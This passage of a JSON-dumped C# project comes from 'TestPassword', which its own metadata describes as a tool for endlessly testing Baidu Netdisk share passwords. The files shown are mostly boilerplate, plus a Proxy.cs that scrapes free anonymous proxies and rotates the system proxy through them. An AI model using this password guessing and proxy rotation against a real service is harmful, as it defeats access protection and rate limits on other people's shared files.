iI4tC4bs/9Y3Xd2kUJOFEJO8NXIvy2JiLM4o4rExwGj942lBCp/9lqHiCLp7YakIxLcBm4HNeLybvB62\n        SMnaWNR6Vym1RiDe7++pnkrTqDaPx4vavsEN4hUa1wMoQ1INJdDaJmpqEPGYfiI7hcE2wFftn0EZOa5N\n        xuPUxXqsGuERtcpSNQBCiqiKq15vnYx6PPRka6hNo9o8AB4vKhpNuvTpCJlLcXAFoAxwdBkSBFrbEr54\n        TQ0iFtNP9sFcatuwu+2frGgc1eYF8HqxotHkNYW3LlCuoZcfrgCUKSkBs0Q8wYlTJJzU1PQfxHMa9EDn\n        cvvslcWQMQAXF5fKxfUAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqmP8PdyBm\n        m10LB/oAAAAASUVORK5CYII=\n</value>\n  </data>\n</root>"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Program.cs",
    "content": "﻿using System;\nusing System.Threading;\nusing System.Windows.Forms;\n\nnamespace zgcwkj\n{\n    internal static class Program\n    {\n        /// <summary>\n        /// 应用程序的主入口点。\n        /// </summary>\n        [STAThread]\n        private static void Main()\n        {\n            // 在此方法返回时，如果创建了局部互斥体（即，如果 name 为 null 或空字符串）或指定的命名系统互斥体，则包含布尔值 true\n            // 如果指定的命名系统互斥体已存在，则为false\n            using (Mutex mutex = new Mutex(true, Application.ProductName, out bool Uniquely_Identifies_TestPassword))\n            {\n                if (Uniquely_Identifies_TestPassword)\n                {\n                    Application.EnableVisualStyles();\n                    Application.SetCompatibleTextRenderingDefault(false);\n                    Application.Run(new Main());\n                }\n                else//程序已经运行的情况，则弹出消息提示并终止此次运行\n                {\n                    MessageBox.Show(\"应用程序已经启动了\");\n                    System.Threading.Thread.Sleep(1000);\n                    // 终止此进程并为基础操作系统提供指定的退出代码。\n                    System.Environment.Exit(1);\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.InteropServices;\n\n// 有关程序集的一般信息由以下\n// 控制。更改这些特性值可修改\n// 与程序集关联的信息。\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"zgcwkj\")]\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\n[assembly: AssemblyTrademark(\"zgcwkj\")]\n[assembly: AssemblyCulture(\"\")]\n\n//将 ComVisible 设置为 false 将使此程序集中的类型\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\n//请将此类型的 ComVisible 特性设置为 true。\n[assembly: ComVisible(false)]\n\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\n\n// 程序集的版本信息由下列四个值组成:\n//\n//      主版本\n//      次版本\n//      生成号\n//      修订号\n//\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\n// 方法是按如下所示使用“*”: :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.8.1.1\")]\n[assembly: AssemblyFileVersion(\"1.8.1.1\")]"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     此代码由工具生成。\n//     运行时版本:4.0.30319.42000\n//\n//     对此文件的更改可能会导致不正确的行为，并且如果\n//     重新生成代码，这些更改将会丢失。\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace zgcwkj.Properties {\n    using System;\n    \n    \n    /// <summary>\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\n    /// </summary>\n    // 此类是由 StronglyTypedResourceBuilder\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    internal class Resources {\n        \n        private static global::System.Resources.ResourceManager resourceMan;\n        \n        private static global::System.Globalization.CultureInfo resourceCulture;\n        \n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n        internal Resources() {\n        }\n        \n        /// <summary>\n        ///   返回此类使用的缓存的 ResourceManager 实例。\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Resources.ResourceManager ResourceManager {\n            get {\n                if (object.ReferenceEquals(resourceMan, null)) {\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\n                    resourceMan = temp;\n                }\n                return resourceMan;\n            }\n        }\n        \n        /// <summary>\n        ///   使用此强类型资源类，为所有资源查找\n        ///   重写当前线程的 CurrentUICulture 属性。\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Globalization.CultureInfo Culture {\n            get {\n                return resourceCulture;\n            }\n            set {\n                resourceCulture = value;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n</root>"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     此代码由工具生成。\n//     运行时版本:4.0.30319.42000\n//\n//     对此文件的更改可能会导致不正确的行为，并且如果\n//     重新生成代码，这些更改将会丢失。\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace zgcwkj.Properties {\n    \n    \n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\n        \n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\n        \n        public static Settings Default {\n            get {\n                return defaultInstance;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\n  <Profiles>\n    <Profile Name=\"(Default)\" />\n  </Profiles>\n  <Settings />\n</SettingsFile>\n"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Proxy.Designer.cs",
    "content": "﻿namespace zgcwkj\n{\n    partial class Proxy\n    {\n        /// <summary>\n        /// Required designer variable.\n        /// </summary>\n        private System.ComponentModel.IContainer components = null;\n\n        /// <summary>\n        /// Clean up any resources being used.\n        /// </summary>\n        /// <param name=\"disposing\">true if managed resources should be disposed; otherwise, false.</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing && (components != null))\n            {\n                components.Dispose();\n            }\n            base.Dispose(disposing);\n        }\n\n        #region Windows Form Designer generated code\n\n        /// <summary>\n        /// Required method for Designer support - do not modify\n        /// the contents of this method with the code editor.\n        /// </summary>\n        private void InitializeComponent()\n        {\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Proxy));\n            this.txt_1 = new System.Windows.Forms.Label();\n            this.txt = new System.Windows.Forms.Label();\n            this.SuspendLayout();\n            // \n            // txt_1\n            // \n            this.txt_1.Font = new System.Drawing.Font(\"宋体\", 13F);\n            this.txt_1.Location = new System.Drawing.Point(14, 57);\n            this.txt_1.Name = \"txt_1\";\n            this.txt_1.Size = new System.Drawing.Size(183, 23);\n            this.txt_1.TabIndex = 0;\n            this.txt_1.Text = \"000.000.000.000:0000\";\n            // \n            // txt\n            // \n            this.txt.AutoSize = true;\n            this.txt.Font = new System.Drawing.Font(\"宋体\", 14F);\n            this.txt.Location = new System.Drawing.Point(12, 28);\n            this.txt.Name = \"txt\";\n            this.txt.Size = new System.Drawing.Size(143, 19);\n            this.txt.TabIndex = 1;\n            this.txt.Text = \"当前尝试的IP：\";\n            // \n            // Proxy\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.ClientSize = new System.Drawing.Size(204, 111);\n            this.Controls.Add(this.txt);\n            this.Controls.Add(this.txt_1);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.MaximizeBox = false;\n            this.MaximumSize = new System.Drawing.Size(220, 150);\n            this.MinimizeBox = false;\n            this.MinimumSize = new System.Drawing.Size(220, 150);\n            this.Name = \"Proxy\";\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\n            this.Text = \"自动代理服务\";\n            this.ResumeLayout(false);\n            this.PerformLayout();\n\n        }\n\n        #endregion\n\n        private System.Windows.Forms.Label txt_1;\n        private System.Windows.Forms.Label txt;\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Proxy.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.IO;\nusing System.Text.RegularExpressions;\nusing System.Threading;\nusing System.Windows.Forms;\n\nnamespace zgcwkj\n{\n    public partial class Proxy : Form\n    {\n        HttpProxy httpProxy = new HttpProxy();\n\n        public Proxy()\n        {\n            InitializeComponent();\n            //记录Goto的次数\n            int i = 0;\n            //Goto 重新获取IP启动代理服务\n            Retry:\n            //关闭代理服务\n            if (httpProxy.GetSwitchState()) { httpProxy.SwitchOff(); }\n\n            i++;\n            if (i > 10)\n            {\n                MessageBox.Show(\"很抱歉程序暂时无法使用\");\n                Application.Exit();\n            }\n\n            string ip = httpProxy.GetProxyIp();\n\n            //通过API获取代理数据\n            try\n            {\n                if (!File.Exists(StaticClass.proxy)) { ObtainIP(); }\n                if (File.ReadAllText(StaticClass.proxy) == \"\") { ObtainIP(); }\n                if (File.ReadAllText(StaticClass.proxy) == \"\\r\\n\") { ObtainIP(); }\n\n                string proxy = File.ReadAllText(StaticClass.proxy);\n                string[] proxys = proxy.Replace(\"\\r\", \"\").Split('\\n');\n                ip = proxys[0];\n\n                File.Delete(StaticClass.proxy);\n                File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + \"\\r\\n\", \"\"));\n            }\n            catch (Exception e)\n            {\n                string str = e.Message;\n            }\n\n            httpProxy.SwitchOn(ip);\n\n            try\n            {\n                txt_1.Text = ip;\n                HttpHelp.HttpGet(\"https://blog.zgcwkj.top\");\n                Close();\n            }\n            catch (Exception e)\n            {\n                string str = e.Message;\n                httpProxy.SwitchOff();\n                //Goto 重试\n                goto Retry;\n            }\n        }\n\n        /// <summary>\n        /// 获取IP\n        /// </summary>\n        private void ObtainIP()\n        {\n            File.Delete(StaticClass.proxy);\n            //国内普通代理\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/1\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/2\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/3\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/4\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/5\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/6\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/7\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/8\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/9\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/10\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/11\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/12\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/13\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/14\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/15\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/16\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/17\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/18\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/19\");\n            CrawlIP(\"https://www.kuaidaili.com/free/intr/20\");\n            //国内高匿代理\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/1\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/2\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/3\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/4\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/5\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/6\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/7\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/8\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/9\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/10\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/11\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/12\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/13\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/14\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/15\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/16\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/17\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/18\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/19\");\n            CrawlIP(\"https://www.kuaidaili.com/free/inha/20\");\n        }\n\n        /// <summary>\n        /// 抓取IP\n        /// </summary>\n        /// <param name=\"url\">地址</param>\n        private void CrawlIP(string url)\n        {\n            Thread.Sleep(50);\n            //Goto 重新获取代理IP\n            RetryUrl:\n            string str = HttpHelp.HttpGet(url);\n            if (str == \"\" || str.Contains(\"-10\"))\n            {\n                httpProxy.SwitchOff();\n                goto RetryUrl;\n            }\n            string tbody = Regex.Match(str.Replace(\" \", \"\").Replace(\"\\r\", \"\").Replace(\"\\n\", \"\"), @\"<tbody>.+</tbody>\").ToString();\n            //Goto 重新获取代理IP\n            RetryIP:\n            string proxya = Regex.Match(tbody, \"<tddata-title=\\\"IP\\\">.+?</td>\").ToString();\n            string proxyb = Regex.Match(tbody, \"<tddata-title=\\\"PORT\\\">.+?</td>\").ToString();\n            if (proxya == \"\" || proxyb == \"\") { return; }\n            string _proxya = proxya.Replace(\"<tddata-title=\\\"IP\\\">\", \"\").Replace(\"</td>\", \"\");\n            string _proxyb = proxyb.Replace(\"<tddata-title=\\\"PORT\\\">\", \"\").Replace(\"</td>\", \"\");\n            File.AppendAllText(StaticClass.proxy, _proxya + \":\" + _proxyb + \"\\r\\n\");\n            tbody = tbody.Replace(proxya, \"\").Replace(proxyb, \"\");\n            goto RetryIP;\n        }\n    }\n}"
  },
  {
    "path": "TestPassword V1.8.1.1/TestPassword/Proxy.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n    <value>\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\n        